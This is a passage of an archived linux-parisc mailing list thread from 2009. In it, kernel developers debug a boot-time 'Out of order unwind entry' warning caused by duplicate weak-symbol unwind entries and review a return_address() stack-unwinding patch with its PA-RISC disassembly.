<arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
         Entry_GR=1 Save_SP Total_frame_size=8
<module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
...

same for "save_stack_trace_tsk":

<dump_trace>: [0x10120834-0x10120950]
         Entry_GR=7 Save_SP Save_RP Total_frame_size=80
<save_stack_trace_tsk>: [0x10120954-0x101209a4]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<save_stack_trace_tsk>: [0x10120954-0x1015c7a8]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<save_stack_trace>: [0x101209a8-0x10120a04]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8

as you can see, both functions (weak and non-weak) are in the
unwind section, although the functions were only linked
once each into the vmlinux binary.

That said, maybe someone of you with binutils/ld knowledge have
some idea or hint how to fix this (aka drop the weak entry completely
from the unwind section) ?
If not, I'll continue to dig into the binutils sources (although
this takes time, as I'm just starting with this)...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 26 Oct 2009 19:41:25 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20091026234125.GS11702@bombadil.infradead.org>
References: <4AE620E0.9040809@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256600495 1149 80.91.229.12 (26 Oct 2009 23:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Oct 2009 23:41:35 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <randolph@tausq.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 27 00:41:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2ZBo-0000mi-PK
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Oct 2009 00:41:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753675AbZJZXlW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Oct 2009 19:41:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754552AbZJZXlW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Oct 2009 19:41:22 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58095 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753675AbZJZXlV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Oct 2009 19:41:21 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N2ZBl-0003Jw-6p; Mon, 26 Oct 2009 23:41:25 +0000
Content-Disposition: inline
In-Reply-To: <4AE620E0.9040809@gmx.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2255>

On Mon, Oct 26, 2009 at 11:21:20PM +0100, Helge Deller wrote:
> I started to look into the problem why we get the
>> WARNING: Out of order unwind entry!
> warning messages at kernel bootup in dmesg.
>
> It's related to a binutils/linker bug, that ld does not correctly
> removes unlink information for unused weak symbols, which have been
> replaced by their non-weak ones.
>

Looks like you did some good sleuthing... Although... I notice that
ia64 doesn't seem to bother to do this sanity check on the unwind table.

tausq, should we just drop it in ours too? I can't see any evidence ia64
does anything differently in bfd that would circumvent this kind of
issue.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 27 Oct 2009 09:50:23 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <4AE651DF.1060009@tausq.org>
References: <4AE620E0.9040809@gmx.de> <20091026234125.GS11702@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256608240 31336 80.91.229.12 (27 Oct 2009 01:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Oct 2009 01:50:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 27 02:50:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2bCh-0008N2-Tj
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Oct 2009 02:50:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755674AbZJ0BuZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Oct 2009 21:50:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755927AbZJ0BuZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Oct 2009 21:50:25 -0400
Original-Received: from mail-gx0-f216.google.com ([209.85.217.216]:45216 "EHLO
	mail-gx0-f216.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755674AbZJ0BuZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Oct 2009 21:50:25 -0400
Original-Received: by gxk8 with SMTP id 8so456572gxk.1
        for <linux-parisc@vger.kernel.org>; Mon, 26 Oct 2009 18:50:29 -0700 (PDT)
Original-Received: by 10.91.55.24 with SMTP id h24mr8998446agk.62.1256608229605;
        Mon, 26 Oct 2009 18:50:29 -0700 (PDT)
Original-Received: from ?192.168.100.52? (stlglobal.com [118.142.45.178])
        by mx.google.com with ESMTPS id 8sm1463978yxb.7.2009.10.26.18.50.26
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 26 Oct 2009 18:50:28 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20091026234125.GS11702@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2256>

> Looks like you did some good sleuthing... Although... I notice that
> ia64 doesn't seem to bother to do this sanity check on the unwind table.
> 
> tausq, should we just drop it in ours too? I can't see any evidence ia64
> does anything differently in bfd that would circumvent this kind of
> issue.

IIRC we do a binary search for the unwind entry. If the entries are not 
sorted, the binary search will give wrong results.

randolph

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 26 Oct 2009 22:24:51 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20091027022451.GT11702@bombadil.infradead.org>
References: <4AE620E0.9040809@gmx.de> <20091026234125.GS11702@bombadil.infradead.org> <4AE651DF.1060009@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256610304 3032 80.91.229.12 (27 Oct 2009 02:25:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Oct 2009 02:25:04 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 27 03:24:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2bjz-00018u-LP
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Oct 2009 03:24:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753231AbZJ0CYt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Oct 2009 22:24:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753413AbZJ0CYt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Oct 2009 22:24:49 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55023 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753231AbZJ0CYs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Oct 2009 22:24:48 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N2bjv-00075D-6q; Tue, 27 Oct 2009 02:24:51 +0000
Content-Disposition: inline
In-Reply-To: <4AE651DF.1060009@tausq.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2257>

On Tue, Oct 27, 2009 at 09:50:23AM +0800, Randolph Chung wrote:
>> Looks like you did some good sleuthing... Although... I notice that
>> ia64 doesn't seem to bother to do this sanity check on the unwind table.
>>
>> tausq, should we just drop it in ours too? I can't see any evidence ia64
>> does anything differently in bfd that would circumvent this kind of
>> issue.
>
> IIRC we do a binary search for the unwind entry. If the entries are not  
> sorted, the binary search will give wrong results.
>

Indeed, would be interesting to add this sanity check to ia64 and see
what happens.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add CALLER_ADDR{0-6} macros
Date: Tue, 27 Oct 2009 12:49:49 +0800
Lines: 53
Approved: news@gmane.org
Message-ID: <4AE67BED.8040705@tausq.org>
References: <20091025214836.GA15038@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256619402 19707 80.91.229.12 (27 Oct 2009 04:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Oct 2009 04:56:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 27 05:56:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2e6j-0000Il-Vx
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Oct 2009 05:56:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754348AbZJ0E40 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Oct 2009 00:56:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754394AbZJ0E40
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 27 Oct 2009 00:56:26 -0400
Original-Received: from mail-pz0-f188.google.com ([209.85.222.188]:40696 "EHLO
	mail-pz0-f188.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754348AbZJ0E40 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Oct 2009 00:56:26 -0400
Original-Received: by pzk26 with SMTP id 26so7857325pzk.4
        for <linux-parisc@vger.kernel.org>; Mon, 26 Oct 2009 21:56:31 -0700 (PDT)
Original-Received: by 10.115.66.24 with SMTP id t24mr25056089wak.39.1256618995423;
        Mon, 26 Oct 2009 21:49:55 -0700 (PDT)
Original-Received: from ?192.168.100.52? (stlglobal.com [118.142.45.178])
        by mx.google.com with ESMTPS id 22sm368222pzk.14.2009.10.26.21.49.52
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 26 Oct 2009 21:49:54 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20091025214836.GA15038@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2258>

Helge,

> +unsigned long return_address(unsigned int level)
> +{
> +	struct unwind_frame_info info;
> +	struct pt_regs r;
> +	unsigned long sp;
> +
> +	/* initialize unwind info */
> +	asm volatile ("copy %%r30, %0" : "=r"(sp));
> +	memset(&r, 0, sizeof(struct pt_regs));
> +	r.iaoq[0] = (unsigned long) current_text_addr();
> +	r.gr[2] = (unsigned long) __builtin_return_address(0);
> +	r.gr[30] = sp;
> +	unwind_frame_init(&info, current, &r);
> +
> +	/* unwind stack */
> +	++level;
> +	do {
> +		if (unwind_once(&info) < 0 || info.ip == 0)
> +			return 0;
> +		if (!__kernel_text_address(info.ip)) {
> +			return 0;
> +		}
> +	} while (info.ip && level--);
> +
> +	return info.ip;
> +}
> +

Can you show an objdump of this function once it is compiled? I suspect 
the stack pointer initialization here is not reliable.

Ideally unwind_frame_init is called with the frame address in gr[30]. 
With a big struct like pt_regs on the stack, the sp initialization might 
be quite far from the actual frame address.

The unwind_once() code uses like heuristics to try to recover from 
inaccurate stack pointers (by aligning and stepping the frame 64 bytes 
at a time) but that is really a brute force guess.

I realize I used a similar construct in traps.c, but even there I think 
it doesn't work reliably.

Maybe somebody else on the list (Dave? :) can suggest a better way to do 
this.

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add CALLER_ADDR{0-6} macros
Date: Tue, 27 Oct 2009 14:41:46 +0100
Lines: 123
Approved: news@gmane.org
Message-ID: <20091027134146.GA2223@p100.box>
References: <20091025214836.GA15038@p100.box> <4AE67BED.8040705@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256650939 12143 80.91.229.12 (27 Oct 2009 13:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Oct 2009 13:42:19 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 27 14:42:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2mJG-0002NG-Te
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Oct 2009 14:42:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754954AbZJ0Nlq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Oct 2009 09:41:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754948AbZJ0Nlq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 27 Oct 2009 09:41:46 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40526 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754888AbZJ0Nlq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Oct 2009 09:41:46 -0400
Original-Received: (qmail invoked by alias); 27 Oct 2009 13:41:49 -0000
Original-Received: from p4FDB29C5.dip0.t-ipconnect.de (EHLO p100.box) [79.219.41.197]
  by mail.gmx.net (mp039) with SMTP; 27 Oct 2009 14:41:49 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+OA14o4DqOH/KYkxVc9RXkdqfIodClHh5IOkKtCF
	AQTuCGRjv1CGox
Content-Disposition: inline
In-Reply-To: <4AE67BED.8040705@tausq.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.51
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2259
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2259>

* Randolph Chung <randolph@tausq.org>:
>> +unsigned long return_address(unsigned int level)
>> +{
>> +	struct unwind_frame_info info;
>> +	struct pt_regs r;
>> +	unsigned long sp;
>> +
>> +	/* initialize unwind info */
>> +	asm volatile ("copy %%r30, %0" : "=r"(sp));
>> +	memset(&r, 0, sizeof(struct pt_regs));
>> +	r.iaoq[0] = (unsigned long) current_text_addr();
>> +	r.gr[2] = (unsigned long) __builtin_return_address(0);
>> +	r.gr[30] = sp;
>> +	unwind_frame_init(&info, current, &r);
>> +
>> +	/* unwind stack */
>> +	++level;
>> +	do {
>> +		if (unwind_once(&info) < 0 || info.ip == 0)
>> +			return 0;
>> +		if (!__kernel_text_address(info.ip)) {
>> +			return 0;
>> +		}
>> +	} while (info.ip && level--);
>> +
>> +	return info.ip;
>> +}
>> +
>
> Can you show an objdump of this function once it is compiled? I suspect  
> the stack pointer initialization here is not reliable.

> Ideally unwind_frame_init is called with the frame address in gr[30].  
> With a big struct like pt_regs on the stack, the sp initialization might  
> be quite far from the actual frame address.
>
> The unwind_once() code uses like heuristics to try to recover from  
> inaccurate stack pointers (by aligning and stepping the frame 64 bytes  
> at a time) but that is really a brute force guess.
>
> I realize I used a similar construct in traps.c, but even there I think  
> it doesn't work reliably.

Hi Randolph,

I agree, that those kind of implementations may not always be reliable.
Nevertheless, I started off with a copy of your code, but it didn't
worked at all. I assume due to some compiler-trickery to include the
static local functions in other functions it does work in traps.c 
nevertheless.

I did sucessfully tested the patch I submitted here, both in 32- and 64-bit.

Below is the disassembly of the code which you asked for...

Helge


Disassembly of section .text.return_address:

00000000 <return_address>:
   0:	08 03 02 41 	copy r3,r1
   4:	6b c2 3f d9 	stw rp,-14(sp)
   8:	08 1e 02 43 	copy sp,r3
   c:	6f c1 04 80 	stw,ma r1,240(sp)
  10:	68 67 04 00 	stw r7,200(r3)
  14:	08 02 02 47 	copy rp,r7
  18:	68 66 04 08 	stw r6,204(r3)
  1c:	08 1a 02 46 	copy r26,r6
  20:	68 65 04 10 	stw r5,208(r3)
  24:	68 64 04 18 	stw r4,20c(r3)
  28:	08 1e 02 44 	copy sp,r4
  2c:	34 65 00 50 	ldo 28(r3),r5
  30:	34 19 00 00 	ldi 0,r25
  34:	08 05 02 5a 	copy r5,r26
  38:	e8 40 00 00 	b,l 40 <return_address+0x40>,rp
  3c:	34 18 03 b0 	ldi 1d8,r24
  40:	68 67 00 60 	stw r7,30(r3)
  44:	eb 80 40 00 	blr r0,ret0
  48:	08 00 02 40 	nop
  4c:	68 64 01 40 	stw r4,a0(r3)
  50:	68 7c 03 a0 	stw ret0,1d0(r3)
  54:	03 c0 08 bc 	mfctl tr6,ret0
  58:	34 64 00 10 	ldo 8(r3),r4
  5c:	0f 80 10 99 	ldw 0(ret0),r25
  60:	08 04 02 5a 	copy r4,r26
  64:	e8 40 00 00 	b,l 6c <return_address+0x6c>,rp
  68:	08 05 02 58 	copy r5,r24
  6c:	08 04 02 5a 	copy r4,r26
  70:	e8 40 00 00 	b,l 78 <return_address+0x78>,rp
  74:	34 c6 00 02 	ldo 1(r6),r6
  78:	8f 80 60 80 	cmpib,> 0,ret0,c0 <return_address+0xc0>
  7c:	34 1c 00 00 	ldi 0,ret0
  80:	48 7c 00 20 	ldw 10(r3),ret0
  84:	87 80 20 68 	cmpib,= 0,ret0,c0 <return_address+0xc0>
  88:	08 1c 02 5a 	copy ret0,r26
  8c:	e8 40 00 00 	b,l 94 <return_address+0x94>,rp
  90:	08 00 02 40 	nop
  94:	87 80 20 40 	cmpib,= 0,ret0,bc <return_address+0xbc>
  98:	48 7c 00 20 	ldw 10(r3),ret0
  9c:	87 80 20 40 	cmpib,= 0,ret0,c4 <return_address+0xc4>
  a0:	48 62 3f d9 	ldw -14(r3),rp
  a4:	84 c0 20 30 	cmpib,= 0,r6,c4 <return_address+0xc4>
  a8:	08 04 02 5a 	copy r4,r26
  ac:	e8 40 00 00 	b,l b4 <return_address+0xb4>,rp
  b0:	34 c6 3f ff 	ldo -1(r6),r6
  b4:	87 80 7f 95 	cmpib,<= 0,ret0,84 <return_address+0x84>
  b8:	48 7c 00 20 	ldw 10(r3),ret0
  bc:	34 1c 00 00 	ldi 0,ret0
  c0:	48 62 3f d9 	ldw -14(r3),rp
  c4:	48 67 04 00 	ldw 200(r3),r7
  c8:	48 66 04 08 	ldw 204(r3),r6
  cc:	48 65 04 10 	ldw 208(r3),r5
  d0:	48 64 04 18 	ldw 20c(r3),r4
  d4:	34 7e 00 80 	ldo 40(r3),sp
  d8:	e8 40 c0 00 	bv r0(rp)
  dc:	4f c3 3f 81 	ldw,mb -40(sp),r3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Tue, 27 Oct 2009 19:19:08 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <20091027231909.74AEF4E0B@hiauly1.hia.nrc.ca>
References: <4AE620E0.9040809@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256685561 6252 80.91.229.12 (27 Oct 2009 23:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Oct 2009 23:19:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 00:19:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2vJp-0001aK-G7
	for glpp-linux-parisc@lo.gmane.org; Wed, 28 Oct 2009 00:19:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755442AbZJ0XTH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Oct 2009 19:19:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755902AbZJ0XTH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 27 Oct 2009 19:19:07 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4114 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755442AbZJ0XTG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Oct 2009 19:19:06 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 74AEF4E0B; Tue, 27 Oct 2009 19:19:09 -0400 (EDT)
In-Reply-To: <4AE620E0.9040809@gmx.de> from "Helge Deller" at Oct 26, 2009 11:21:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2260>

> 
> I started to look into the problem why we get the
> > WARNING: Out of order unwind entry!
> warning messages at kernel bootup in dmesg.
> 
> It's related to a binutils/linker bug, that ld does not correctly
> removes unlink information for unused weak symbols, which have been
> replaced by their non-weak ones.
> 
> In my kernel I could track it down to 2 symbols:
> - arch_mod_section_prepend()  from kernel/module.c, and
> - save_stack_trace_tsk().
> 
> Here is the extract of the readelf output on vmlinux:
> ...
> <inb>: [0x1011fbd4-0x1011fc48]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> ...

It might be useful to know the actual location arch_mod_section_prepend
and whether it follows inb in its .o.  From my understanding of things,
it shouldn't be necessary to remove the unwind info for unused weak
symbols if they aren't garbage collected.  A simple testcase would
be helpful.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix unwind
Date: Wed, 28 Oct 2009 11:37:25 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20091028153725.GU11702@bombadil.infradead.org>
References: <20091025214248.GA15028@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256744262 30318 80.91.229.12 (28 Oct 2009 15:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 15:37:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <tausq@debian.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 28 16:37:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
